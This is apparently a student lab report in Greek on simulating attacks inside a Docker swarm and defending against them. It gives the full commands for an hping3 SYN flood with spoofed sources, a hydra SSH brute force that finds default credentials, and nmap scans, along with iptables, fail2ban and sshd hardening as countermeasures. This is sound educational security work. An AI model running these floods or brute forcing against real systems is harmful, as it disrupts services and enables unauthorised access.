

Εγκατάσταση docker:

Δημιουργία καταλόγου και φακέλου για το project:

```
mkdir myproject  
cd myproject
```

\*\*Οι παρακάτω εντολές πρέπει να εκτελεστούν “μέσα” στον φάκελο του project μας (cd myproject) \*\*

Δημιουργία σμήνους Dockers (swarm):

```
../install/usr/share/swarmlab.io/sec/swarmlab-sec create
```

Δημιουργία n cluster:

```
../install/usr/share/swarmlab.io/sec/swarmlab-sec up size=n (όπου n ο αριθμός των clusters)
```

```
Starting myproject_worker_1 ... done  
Creating myproject_worker_2 ... done  
Creating myproject_worker_3 ... done  
Creating myproject_worker_4 ... done  
Creating myproject_worker_5 ... done  
Creating myproject_worker_6 ... done  
Creating myproject_worker_7 ... done  
Creating myproject_worker_8 ... done  
Creating myproject_worker_9 ... done  
  
====> SWARMLAB READY  
  
          ##  
        ## ## ##      ==  
      ## ## ## ## ##  ===  
    ~~~ { ~~~~~ } ~~~  ===  
          o  
          |  
    -----  
    MPICH Swarmlab.io  
  
=====
```

To run SEC programs in an interactive shell:

1. Login to master node:  
Using Docker through command wrapper:  
\$ swarmlab-sec login  
  
Or using SSH with keys through exposed port:  
\$ ssh -o "StrictHostKeyChecking no" -i ssh/id\_rsa -p 2222 sec@localhost  
where [localhost] could be changed to the host IP of master node
2. Execute programs inside master node, for example:  
\$ sudo su  
# apt update  
\*-----\*  
| Default hostfile of connected nodes in the swarmlab |  
| is automatically updated at /etc/opt/hosts |  
| To obtain hostfile manually: \$ get\_hosts > hosts |  
\*-----\*

```
moil@ubuntu:~/swarmlab-sec/myproject$
```

Σύνδεση σε κάποιο από τα dockers σαν master:  
../install/usr/share/swarmlab.io/sec/swarmlab-sec login

```
moil@ubuntu:~/swarmlab-sec/myproject$ ../install/usr/share/swarmlab.io/sec/swarmlab-sec login
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

docker@7bd345043b83: /project$ █
```

Και εκτελούμε την παρακάτω εντολή(όντας μέσα σε κάποιο container):

ssh docker@<IP>

Με στοιχεία:

User password: docker

sudo password: docker

```
docker@7bd345043b83:/project$ ssh docker@172.19.0.3
The authenticity of host '172.19.0.3 (172.19.0.3)' can't be established.
ECDSA key fingerprint is SHA256:9kIZ2WTsBV7EIUNlFJxcOPsW7m2Wnv8IM3xttraB31E.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.19.0.3' (ECDSA) to the list of known hosts.
docker@172.19.0.3's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

$ █
```

Για την εύρεση της διεύθυνση του σμήνους  
εκτελούμε (μέσα από το container) την εντολή:  
ifconfig

```
docker@7bd345043b83:/project$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 172.19.0.2 netmask 255.255.0.0 broadcast 172.19.255.255
    ether 02:42:ac:13:00:02 txqueuelen 0 (Ethernet)
    RX packets 69 bytes 10952 (10.9 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
    RX packets 5796 bytes 388332 (388.3 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 5796 bytes 388332 (388.3 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

docker@7bd345043b83:/project$
```

και έπειτα γνωρίζοντας την διεύθυνση του σμήνους μπορούμε να βρούμε τις διευθύνσεις των workers με την εντολή:

```
nmap -sP 172.19.0.*
```

```
docker@7bd345043b83:/project$ nmap -sP 172.19.0.*

Starting Nmap 7.60 ( https://nmap.org ) at 2021-01-14 09:58 UTC
Nmap scan report for ubuntu (172.19.0.1)
Host is up (0.00067s latency).
Nmap scan report for 7bd345043b83 (172.19.0.2)
Host is up (0.00052s latency).
Nmap scan report for myproject_worker_1.myproject_net (172.19.0.3)
Host is up (0.00050s latency).
Nmap scan report for myproject_worker_4.myproject_net (172.19.0.4)
Host is up (0.00036s latency).
Nmap scan report for myproject_worker_3.myproject_net (172.19.0.5)
Host is up (0.00032s latency).
Nmap scan report for myproject_worker_7.myproject_net (172.19.0.6)
Host is up (0.00026s latency).
Nmap scan report for myproject_worker_6.myproject_net (172.19.0.7)
Host is up (0.00019s latency).
Nmap scan report for myproject_worker_2.myproject_net (172.19.0.8)
Host is up (0.00015s latency).
Nmap scan report for myproject_worker_5.myproject_net (172.19.0.9)
Host is up (0.00085s latency).
Nmap scan report for myproject_worker_8.myproject_net (172.19.0.10)
Host is up (0.00046s latency).
Nmap scan report for myproject_worker_9.myproject_net (172.19.0.11)
Host is up (0.00077s latency).
Nmap done: 256 IP addresses (11 hosts up) scanned in 2.69 seconds
docker@7bd345043b83:/project$
```

Τώρα γνωρίζοντας τις IPs συνδεόμαστε στον worker\_1:

```
ssh docker@172.19.0.3
```

## Ερώτημα 1 Dos/DDos Attack

Για να πραγματοποιήσουμε μια επίθεση Dos θα εγκαταστήσουμε το εργαλείο hping3:  
Αρχικά θα χρειαστεί να κάνουμε αναβάθμιση πακέτων με την εντολή:

```
sudo apt-get update
```

Και έπειτα να εγκαταστήσουμε το hping3:

```
sudo apt install hping3
```

```
$ sudo apt install hping3
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  libtcl8.6 tzdata
Suggested packages:
  tcl8.6
The following NEW packages will be installed:
  hping3 libtcl8.6 tzdata
0 upgraded, 3 newly installed, 0 to remove and 6 not upgraded.
Need to get 1179 kB of archives.
After this operation, 7410 kB of additional disk space will be used.
Do you want to continue? [Y/n] yes
Get:1 http://archive.ubuntu.com/ubuntu bionic-updates/main amd64 tzdata all 2020f-0ubuntu0.18.04 [190 kB]
Get:2 http://archive.ubuntu.com/ubuntu bionic/main amd64 libtcl8.6 amd64 8.6.8+dfsg-3 [881 kB]
Get:3 http://archive.ubuntu.com/ubuntu bionic/universe amd64 hping3 amd64 3.a2.ds2-7 [107 kB]
Fetched 1179 kB in 2s (613 kB/s)
debconf: delaying package configuration, since apt-utils is not installed
Selecting previously unselected package tzdata.
(Reading database ... 11458 files and directories currently installed.)
Preparing to unpack .../tzdata_2020f-0ubuntu0.18.04_all.deb ...
Unpacking tzdata (2020f-0ubuntu0.18.04) ...
Selecting previously unselected package libtcl8.6:amd64.
Preparing to unpack .../libtcl8.6_8.6.8+dfsg-3_amd64.deb ...
Unpacking libtcl8.6:amd64 (8.6.8+dfsg-3) ...
Selecting previously unselected package hping3.
Preparing to unpack .../hping3_3.a2.ds2-7_amd64.deb ...
Unpacking hping3 (3.a2.ds2-7) ...
Setting up tzdata (2020f-0ubuntu0.18.04) ...
debconf: unable to initialize frontend: Dialog
debconf: (No usable dialog-like program is installed, so the dialog based frontend cannot be used. at /usr/share/perl5/Debconf/FrontEnd/Dialog.pm line 76.)
debconf: falling back to frontend: Readline
Configuring tzdata
-----
```

```
Please select the geographic area in which you live. Subsequent configuration questions will narrow this down by presenting a list of cities, representing the time zones in which they are located.
```

- |               |              |             |             |         |
|---------------|--------------|-------------|-------------|---------|
| 1. Africa     | 4. Australia | 7. Atlantic | 10. Pacific | 13. Etc |
| 2. America    | 5. Arctic    | 8. Europe   | 11. SystemV |         |
| 3. Antarctica | 6. Asia      | 9. Indian   | 12. US      |         |

```
Geographic area: 8
```

```
Please select the city or region corresponding to your time zone.
```

- |                |                 |                |                |
|----------------|-----------------|----------------|----------------|
| 1. Amsterdam   | 17. Guernsey    | 33. Monaco     | 49. Stockholm  |
| 2. Andorra     | 18. Helsinki    | 34. Moscow     | 50. Tallinn    |
| 3. Astrakhan   | 19. Isle_of_Man | 35. Nicosia    | 51. Tirane     |
| 4. Athens      | 20. Istanbul    | 36. Oslo       | 52. Tiraspol   |
| 5. Belfast     | 21. Jersey      | 37. Paris      | 53. Ulyanovsk  |
| 6. Belgrade    | 22. Kaliningrad | 38. Podgorica  | 54. Uzhgorod   |
| 7. Berlin      | 23. Kiev        | 39. Prague     | 55. Vaduz      |
| 8. Bratislava  | 24. Kirov       | 40. Riga       | 56. Vatican    |
| 9. Brussels    | 25. Lisbon      | 41. Rome       | 57. Vienna     |
| 10. Bucharest  | 26. Ljubljana   | 42. Samara     | 58. Vilnius    |
| 11. Budapest   | 27. London      | 43. San_Marino | 59. Volgograd  |
| 12. Busingen   | 28. Luxembourg  | 44. Sarajevo   | 60. Warsaw     |
| 13. Chisinau   | 29. Madrid      | 45. Saratov    | 61. Zagreb     |
| 14. Copenhagen | 30. Malta       | 46. Simferopol | 62. Zaporozhye |
| 15. Dublin     | 31. Mariehamn   | 47. Skopje     | 63. Zurich     |
| 16. Gibraltar  | 32. Minsk       | 48. Sofia      |                |

```
Time zone: 4
```

```
Current default time zone: 'Europe/Athens'  
Local time is now: Thu Jan 14 12:04:04 EET 2021.  
Universal Time is now: Thu Jan 14 10:04:04 UTC 2021.  
Run 'dpkg-reconfigure tzdata' if you wish to change it.
```

```
Setting up libtcl8.6:amd64 (8.6.8+dfsg-3) ...  
Setting up hping3 (3.a2.ds2-7) ...  
Processing triggers for libc-bin (2.27-3ubuntu1.3) ...  
$ █
```

Συνδεόμαστε σε έναν άλλον worker ανοίγοντας ένα άλλο τερματικό και ψάχνουμε για “ανοιχτά” ports ώστε να πραγματοποιήσουμε την επίθεσή μας :

```
ssh docker@172.19.0.4
```

και ψάχνουμε για ανοιχτά ports:

```
nmap -p- 172.19.0.4
```

```
$ nmap -p- 172.19.0.4  
  
Starting Nmap 7.60 ( https://nmap.org ) at 2021-01-14 10:50 UTC  
Failed to resolve "-p-".  
Nmap scan report for 3a4db59e54ec (172.19.0.4)  
Host is up (0.000087s latency).  
Not shown: 999 closed ports  
PORT      STATE SERVICE  
22/tcp    open  ssh  
  
Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds  
$ █
```

Επομένως η επίθεση μας θα γίνει στην Port 22. Από τον worker\_1 εκτελούμε με δικαιώματα διαχειριστή:

```
sudo hping3 -V -c 400 -d 120 -S -p 22 --flood --rand-source 172.19.0.4
```

όπου

-V: Verbose output enable

-c: αριθμός πακέτων

-d: μέγεθος πακέτων

-S: τύπος των πακέτων (Εμείς θέλουμε πακέτου τύπου SYN)

-p: αριθμός port

--flood: επιλογή κατακλυσμού πακέτων

--rand-source: επιλογή εμφάνισης τυχαίων πηγών

Η επίθεση πραγματοποιήθηκε όπως μας βεβαιώνουν τα εργαλεία netstat και tcpdump.

Δίνοντας την εντολή netstat στον worker\_4, έχουμε:

```
$ netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp      0      0 3a4db59e54ec:22       253.172.172.59:27888   SYN_RECV
tcp      0      0 3a4db59e54ec:22       59-120-246-36.HIN:48248 SYN_RECV
tcp      0      0 3a4db59e54ec:22       125.234.102.106.h:27919 SYN_RECV
tcp      0      0 3a4db59e54ec:22       36.145.116.228:27915  SYN_RECV
tcp      0      0 3a4db59e54ec:22       bras-base-toroon4:48241 SYN_RECV
tcp      0      0 3a4db59e54ec:22       84.16.203.3:27922     SYN_RECV
tcp      0      0 3a4db59e54ec:22       120.68.244.10:27911   SYN_RECV
tcp      0      0 3a4db59e54ec:22       70-91-151-165-jax:48251 SYN_RECV
tcp      0      0 3a4db59e54ec:22       118.37.198-165.dc:48283 SYN_RECV
tcp      0      0 3a4db59e54ec:22       ec2-15-222-21-251:27925 SYN_RECV
tcp      0      0 3a4db59e54ec:22       nothing.attdns.co:48288 SYN_RECV
tcp      0      0 3a4db59e54ec:22       39.198.19.154:27926   SYN_RECV
tcp      0      0 3a4db59e54ec:22       205.1.40.36:48278     SYN_RECV
tcp      0      0 3a4db59e54ec:22       111.225.219.105:27907 SYN_RECV
tcp      0      0 3a4db59e54ec:22       251.190.48.130:48297  SYN_RECV
tcp      0      0 3a4db59e54ec:22       65-36-59-211.stat:48294 SYN_RECV
tcp      0      0 3a4db59e54ec:22       173.39.15.255:48301   SYN_RECV
tcp      0      0 3a4db59e54ec:22       22.230.183.52:48282   SYN_RECV
tcp      0      0 3a4db59e54ec:22       144.184.218.142:48280 SYN_RECV
tcp      0      0 3a4db59e54ec:22       cpe-124-179-10-21:48243 SYN_RECV
tcp      0      0 3a4db59e54ec:22       34.124.176.184:48285  SYN_RECV
tcp      0      0 3a4db59e54ec:22       244.68.180.186:27869  SYN_RECV
tcp      0      0 3a4db59e54ec:22       17.179.40.45:48289    SYN_RECV
tcp      0      0 3a4db59e54ec:22       31.sub-97-203-46.:48303 SYN_RECV
tcp      0      116 3a4db59e54ec:22       myproject_master_:46746 ESTABLISHED
tcp      0      0 3a4db59e54ec:22       205.225.195.189:51275  SYN_RECV
tcp      0      0 3a4db59e54ec:22       250.146.183.178:51276  SYN_RECV
tcp      0      0 3a4db59e54ec:22       249.23.103.88:51329   SYN_RECV
tcp      0      0 3a4db59e54ec:22       43.28.8.131:51967     SYN_RECV
tcp      0      0 3a4db59e54ec:22       157.52.240.160:51295  SYN_RECV
tcp      0      0 3a4db59e54ec:22       softbank220036146:51949 SYN_RECV
tcp      0      0 3a4db59e54ec:22       107.198.246.182:51327  SYN_RECV
tcp      0      0 3a4db59e54ec:22       250.68.177.222:51961  SYN_RECV
tcp      0      0 3a4db59e54ec:22       214.179.225.27:51266  SYN_RECV
tcp      0      0 3a4db59e54ec:22       240.59.22.218:51293   SYN_RECV
tcp      0      0 3a4db59e54ec:22       mobile-193-4-165-:51903 SYN_RECV
tcp      0      0 3a4db59e54ec:22       152.142.23.42:51290   SYN_RECV
tcp      0      0 3a4db59e54ec:22       148.39.177.37:51940   SYN_RECV
tcp      0      0 3a4db59e54ec:22       120.176.16.165:51902  SYN_RECV
tcp      0      0 3a4db59e54ec:22       147.22.19.93:51913    SYN_RECV
tcp      0      0 3a4db59e54ec:22       142-217-37-17.tel:51919 SYN_RECV
tcp      0      0 3a4db59e54ec:22       17.240.68.192:51308   SYN_RECV
tcp      0      0 3a4db59e54ec:22       157.59.146.143:51907  SYN_RECV
tcp      0      0 3a4db59e54ec:22       eml145.ride.reyre:51310 SYN_RECV
tcp      0      0 3a4db59e54ec:22       125.93.16.185:51285   SYN_RECV
tcp      0      0 3a4db59e54ec:22       h65.42.23.98.stat:51277 SYN_RECV
tcp      0      0 3a4db59e54ec:22       10.143.219.65:51269   SYN_RECV
tcp      0      0 3a4db59e54ec:22       246.26.91.232:51299   SYN_RECV
tcp      0      0 3a4db59e54ec:22       195.193.34.116:51934  SYN_RECV
tcp      0      0 3a4db59e54ec:22       154.242.0.222:51959   SYN_RECV
tcp      0      0 3a4db59e54ec:22       251.241.176.148:51307  SYN_RECV
```

και με την εντολή:

```
tcpdump port 22 && 'tcp[tcpflags]== tcp-ack'
```

έχουμε:

```
gs [P.], seq 5732:6072, ack 1, win 501, options [nop,nop,TS val 946081998 ecr 96
6921531], length 340
12:43:30.484691 IP i60-41-174-54.s99.a049.ap.plala.or.jp.15366 > 3a4db59e54ec.22
: Flags [S], seq 1367812963:1367813083, win 512, length 120
12:43:30.883423 IP 3a4db59e54ec.22 > myproject_master_1.myproject_net.46746: Fla
gs [P.], seq 6072:6436, ack 1, win 501, options [nop,nop,TS val 946082397 ecr 96
6921722], length 364
12:43:30.884057 IP host-41.38.3.155.tedata.net.22735 > 3a4db59e54ec.22: Flags [S
], seq 880810463:880810583, win 512, length 120
12:43:31.083929 IP 3a4db59e54ec.22 > myproject_master_1.myproject_net.46746: Fla
gs [P.], seq 6436:6768, ack 1, win 501, options [nop,nop,TS val 946082598 ecr 96
6922122], length 332
12:43:31.084975 IP nothing.attdns.com.26739 > 3a4db59e54ec.22: Flags [S], seq 20
31521623:2031521743, win 512, length 120
12:43:31.243722 IP 3a4db59e54ec.22 > myproject_master_1.myproject_net.46746: Fla
gs [P.], seq 6768:7100, ack 1, win 501, options [nop,nop,TS val 946082758 ecr 96
6922322], length 332
12:43:31.244555 IP 185.3.171.47.29684 > 3a4db59e54ec.22: Flags [S], seq 18332272
73:1833227393, win 512, length 120
12:43:31.656085 IP 3a4db59e54ec.22 > myproject_master_1.myproject_net.46746: Fla
gs [P.], seq 7100:7464, ack 1, win 501, options [nop,nop,TS val 946083170 ecr 96
6922481], length 364
12:43:31.656828 IP web19647.car-part.com.37604 > 3a4db59e54ec.22: Flags [S], seq
367723778:367723898, win 512, length 120
12:43:31.849673 IP 3a4db59e54ec.22 > myproject_master_1.myproject_net.46746: Fla
gs [P.], seq 7464:7812, ack 1, win 501, options [nop,nop,TS val 946083364 ecr 96
6922894], length 348
12:43:31.850747 IP 188.92.90.247.41092 > 3a4db59e54ec.22: Flags [S], seq 7706781
50:770678270, win 512, length 120
12:43:32.131527 IP 3a4db59e54ec.22 > myproject_master_1.myproject_net.46746: Fla
gs [P.], seq 7812:8152, ack 1, win 501, options [nop,nop,TS val 946083645 ecr 96
6923087], length 340
12:43:32.132232 IP 92-48-119-1.static.as29550.net.46680 > 3a4db59e54ec.22: Flags
[S], seq 483072988:483073108, win 512, length 120
12:43:37.170448 IP 3a4db59e54ec.22 > myproject_master_1.myproject_net.46746: Fla
gs [P.], seq 8152:8484, ack 1, win 501, options [nop,nop,TS val 946088684 ecr 96
6923369], length 332
12:43:37.171235 IP 140.161.182.155.15959 > 3a4db59e54ec.22: Flags [S], seq 20297
66807:2029766927, win 512, length 120
12:43:37.423415 IP 3a4db59e54ec.22 > myproject_master_1.myproject_net.46746: Fla
gs [P.], seq 8484:8824, ack 1, win 501, options [nop,nop,TS val 946088937 ecr 96
6928408], length 340
12:43:37.424193 IP 144.65.111.88.20835 > 3a4db59e54ec.22: Flags [S], seq 2492576
9:24925889, win 512, length 120
12:43:37.610937 IP 3a4db59e54ec.22 > myproject_master_1.myproject_net.46746: Fla
gs [P.], seq 8824:9156, ack 1, win 501, options [nop,nop,TS val 946089125 ecr 96
6928661], length 332
12:43:37.612054 IP 161.246.176.116.24383 > 3a4db59e54ec.22: Flags [S], seq 15453
00878:1545300998, win 512, length 120
12:43:37.764777 IP 3a4db59e54ec.22 > myproject_master_1.myproject_net.46746: Fla
gs [P.], seq 9156:9504, ack 1, win 501, options [nop,nop,TS val 946089279 ecr 96
6928849], length 348
```

Βλέπουμε λοιπόν πληθώρα μηνυμάτων σε ελάχιστο χρόνο από τον worker\_1 επιβεβαιώνοντας το dos attack. Για αμυνθούμε πρέπει να παραμετροποιήσουμε το iptables και να προσθέσουμε κανόνες διαχείρισης πακέτων ικανούς να ανιχνεύουν και να σταματούν την επίθεση.

Εκτελούμε στον worker\_4 την εντολή:

```
iptables -A INPUT -s <IP> -j DROP
```

όπου

IP: η διεύθυνση από την οποία θέλουμε να κάνουμε drop την εισερχόμενη κίνηση

\*\*\*\*\*Από αυτό το σημείο και μέχρι το τέλος της άσκησης, λόγω λάθους, θα χρησιμοποιούνται οι IPs 172.23.0.0/16\*\*\*\*\*

Βλέπουμε ότι δεν υπάρχει πλέον κίνηση από την επιτιθέμενη IP στην port 22 εκτελώντας την εντολή: `sudo tcpdump -nnvS src 172.23.0.3 && dst port 22`

```
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
13:50:16.001281 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.23.0.4
tell 172.23.0.3, length 28
```

Και με την εντολή `iptables -nvL` βλέπουμε όντως ότι όλη η κίνηση από τον worker\_1 έχει μπλοκαριστεί

```
root@7804b299f8e2:/home/docker# iptables -nvL
Chain INPUT (policy ACCEPT 5023K packets, 201M bytes)
 pkts bytes target     prot opt in      out     source         destination
 7460K 1194M DROP      all  --  *      *       172.23.0.3     0.0.0.0/0
```

Ένας άλλος κανόνας που αν και όχι τέλειο, δεν αποκλείει απόλυτα την κίνηση από μία IP θα μπορούσε να έχει την μορφή:

```
iptables -A INPUT -m limit --limit 1/s --limit-burst 1 -j DROP
```

με τον οποίο απορρίπτονται πακέτα που έχουν φτάσει με ρυθμό μεγαλύτερο από 2 ανά δευτερόλεπτο

```
root@eefed687c571:/home/docker# iptables -nvL
Chain INPUT (policy ACCEPT 56201 packets, 8991K bytes)
 pkts bytes target     prot opt in      out     source         destination
   42  4400 DROP      all  --  *      *       0.0.0.0/0     0.0.0.0/0
limit: avg 1/sec burst 2
```

Όπως βλέπουμε έχει κοπεί κάποια κίνηση.



Επίσης με την τελευταία τροποποίηση του iptable αφού δεν αποκλείουμε κίνηση στοχευμένα από μια διεύθυνση μπορούμε να πραγματοποιήσουμε και DDOS Attack .Θα εγκαταστήσουμε σε έναν master τις υπηρεσίες ansible με τις εντολές:

```
$ sudo apt update
$ sudo apt install software-properties-common
$ sudo apt-add-repository --yes --update ppa:ansible/ansible
$ sudo apt install ansible
```

και θα προσθέσουμε στο αρχείο hosts τις διευθύνσεις των containers μας

```
root@97d1931a9bf2:/home/docker# cd /
root@97d1931a9bf2:/# ls
bin  dev  home  lib64  mnt  proc  root  sbin  sys  usr
boot  etc  lib  media  opt  project  run  srv  tmp  var
root@97d1931a9bf2:/# cd /etc/ansible/hosts
bash: cd: /etc/ansible/hosts: Not a directory
root@97d1931a9bf2:/# cd /etc/ansible/
root@97d1931a9bf2:/etc/ansible# ls
ansible.cfg  hosts  roles
root@97d1931a9bf2:/etc/ansible# nano hosts
```

```
## 192.168.1.110

# If you have multiple hosts following a pattern you can use wildcards
# them like this:

## www[001:006].example.com

# Ex 3: A collection of database servers in the 'db' namespace

## [dbservers]
##
## db01.intranet.mydomain.net
## db02.intranet.mydomain.net
## 10.25.1.56
## 10.25.1.57

# Here's another example of host ranges, this time
# leading 0s:

## db-[99:101]-node.example.com

[containers]
172.21.0.3
172.21.0.4
172.21.0.5
172.21.0.6
172.21.0.7
172.21.0.8

[containers:vars]
ansible_user=docker
ansible_password=docker
```

όπου containers:vars τα στοιχεία εισόδου μέσω της υπηρεσίας ssh για την αυτόματη σύνδεση τους

Έπειτα αν επεξεργαστούμε το αρχείο `ansible.cfg` δίνοντας του εντολές για την εγκατάσταση του `hping3` καθώς και την εντολή επίθεσης ,ίδια με την πιο πάνω θα μπορούσαμε να προσομοιώσουμε την επίθεση. Δυστυχώς δεν κατάφερα να γράψω σωστά το αρχείο `ansible.cfg` ώστε να μου δουλέψει σωστά.

Ερώτημα 2:  
Προσομοίωση SSH Brute Force Attack

Θα εγκαταστήσουμε το εργαλείο `hydra` για την προσομοίωση της άσκησης με την εντολή:  
`apt-get install hydra`

και θα δημιουργήσουμε ένα δυο υποτυπώδες `.txt` αρχεία με κάποιους τυχαίους κωδικούς και ονόματα εισόδου (σε `dir` μέσα στο `docker`) :  
`nano pass.txt`

```
root@13d314fe25f6:/home# nano pass.txt
```

`nano logs.txt`

```
root@13d314fe25f6:/home# nano logs.txt
```

Κάνοντας `login` στον `worker_5` θα πραγματοποιήσουμε SSH Brute Force Attack στον `worker_4` με την εντολή:  
`hydra -L logs.txt -P pass.txt ssh://172.23.0.4`

Όπου  
-L:το αρχείο με τα logins  
-P:το αρχείο με τα pass

```
root@13d314fe25f6:/home# hydra -L logs.txt -P pass.txt ssh://172.23.0.4
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2021-01-14 15:22:15
[WARNING] Many SSH configurations limit the number of parallel tasks, it is reco
mmended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 40 login tries (l:4/p:10), ~
3 tries per task
[DATA] attacking ssh://172.23.0.4:22/
[22][ssh] host: 172.23.0.4 login: docker password: docker
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete u
ntil end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2021-01-14 15:22:20
root@13d314fe25f6:/home#
```

Για την αντιμετώπιση της επίθεσης με το Fail2ban πρέπει αρχικά να το εγκαταστήσουμε χρησιμοποιώντας την εντολή:  
sudo apt install fail2ban

Για να μην χαθούν οι αλλαγές που κάνουμε στο αρχείο jail.conf που είναι και το αρχείο που θα παραμετροποιήσουμε , αρκεί να το αντιγράψουμε στο αρχείο jail.local με την εντολή:  
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

```
root@13d314fe25f6:/home/docker# cd /etc/fail2ban
root@13d314fe25f6:/etc/fail2ban# ls
action.d      filter.d      jail.local    paths-debian.conf
fail2ban.conf jail.conf     paths-arch.conf paths-opensuse.conf
fail2ban.d    jail.d        paths-common.conf
root@13d314fe25f6:/etc/fail2ban# sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
root@13d314fe25f6:/etc/fail2ban#
```

Ανοίγοντας το αρχείο jail.local συναντάμε την περιοχή sshd που είναι και η περιοχή των κανόνων που πρέπει να προσθέσουμε:  
nano jail.local

Έπειτα με τον editor της επιλογής μας προσθέτουμε τις επιλογές όπως φαίνονται στην εικόνα:

```
# To use more aggressive sshd modes set filter parameter "mode" in jail.local:
# normal (default), ddos, extra or aggressive (combines all).
# See "tests/files/logs/sshd" or "filter.d/sshd.conf" for usage example and det$
#mode = normal

[ssh]
enabled = true
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 1h
```

Όπου :

bantime:ο χρόνος που θα παραμείνει αποκλεισμένος ο επιτιθέμενος  
enabled=true: για την ενεργοποίηση του μηχανισμού  
logpath:η τοποθεσία του αρχείου καταγραφής

```
# WARNING: heavily refactored in 0.9.0 release. Please review and
# customize settings for your setup.
#
# Changes: in most of the cases you should not modify this
# file, but provide customizations in jail.local file,
# or separate .conf files under jail.d/ directory, e.g.:
#
# HOW TO ACTIVATE JAILS:
#
# YOU SHOULD NOT MODIFY THIS FILE.
#
# It will probably be overwritten or improved in a distribution update.
#
# Provide customizations in a jail.local file or a jail.d/customisation.local.
# For example to change the default bantime for all jails and to enable the
# ssh-iptables jail the following (uncommented) would appear in the .local file.
# See man 5 jail.conf for details.
#
# [DEFAULT]
# bantime = 1h
#
# [sshd]
# enabled = true
#
# See jail.conf(5) man page for more information

# Comments: use '#' for comment lines and ';' (following a space) for inline co$

[INCLUDES]

#before = paths-distro.conf
before = paths-debian.conf

# The DEFAULT allows a global definition of the options. They can be overridden
# in each jail afterwards.

[DEFAULT]

#
# MISCELLANEOUS OPTIONS
#

# "ignoreself" specifies whether the local resp. own IP addresses should be igno$
# (default is true). Fail2ban will not ban a host which matches such addresses.
#ignoreself = true
```

maxretry:ο μέγιστος επιτρεπόμενος αριθμός προσπαθειών

Το εργαλείο fail2ban δούλεψε με επιτυχία όπως φαίνεται από την προσπάθεια του επιτιθέμενου worker καθώς και από το iptable του ίδιου worker που έτρεξε το f2b

```

root@13d314fe25f6:/home# hydra -L logs.txt -P pass.txt ssh://172.23.0.4
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2021-01-14 20:22:15
[WARNING] Many SSH configurations limit the number of parallel tasks, it is reco
mmended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 40 login tries (l:4/p:10), ~
3 tries per task
[DATA] attacking ssh://172.23.0.4:22/
[ERROR] could not connect to ssh://172.23.0.4:22 - Connection refused
root@13d314fe25f6:/home#

```

```

root@7804b299f8e2:/etc/fail2ban# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source                destination            multiport dports 0
:65535
DROP      all  -- myproject_worker_1.myproject_net anywhere
DROP      all  -- myproject_worker_1.myproject_net anywhere

Chain FORWARD (policy ACCEPT)
target     prot opt source                destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source                destination

Chain f2b-ssh (1 references)
target     prot opt source                destination            rejec
t-with icmp-port-unreachable
RETURN    all  -- anywhere             anywhere

Chain f2b-sshd (0 references)
target     prot opt source                destination
RETURN    all  -- anywhere             anywhere
RETURN    all  -- anywhere             anywhere
RETURN    all  -- anywhere             anywhere
RETURN    all  -- anywhere             anywhere
root@7804b299f8e2:/etc/fail2ban#

```

Στην συνέχεια για να τροποποιήσουμε το ssh-server ώστε να επιτρέπει μόνο συνδέσεις μέσω key πρέπει αρχικά να επαναφέρουμε την επικοινωνία των worker\_4 και worker\_5 διαγράφοντας την δουλειά του fail2ban με τις εντολές :

```

sudo fail2ban-client unban --all
sudo fail2ban-client stop

```

```
root@7804b299f8e2:/etc/fail2ban# sudo fail2ban-client unban --all
1
root@7804b299f8e2:/etc/fail2ban# sudo fail2ban-client stop
Shutdown successful
root@7804b299f8e2:/etc/fail2ban# █
```

Στην συνέχεια αλλάζουμε το αρχείο sshd\_config που βρίσκετε στο μονοπάτι /etc/ssh/sshd\_config κάνουμε τις αλλαγές που φαίνονται στην φωτογραφία

```
sudo nano /etc/ssh/sshd_config
```

```
root@7804b299f8e2:/etc/fail2ban# sudo nano /etc/ssh/sshd_config
```

```
# Logging
#SyslogFacility AUTH
LogLevel VERBOSE █
```

```
# Authentication:
#LoginGraceTime 2m
PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
```

και πραγματοποιούμε restart της υπηρεσίας ssh για να φανούν οι αλλαγές με την εντολή :

```
sudo service ssh restart
```

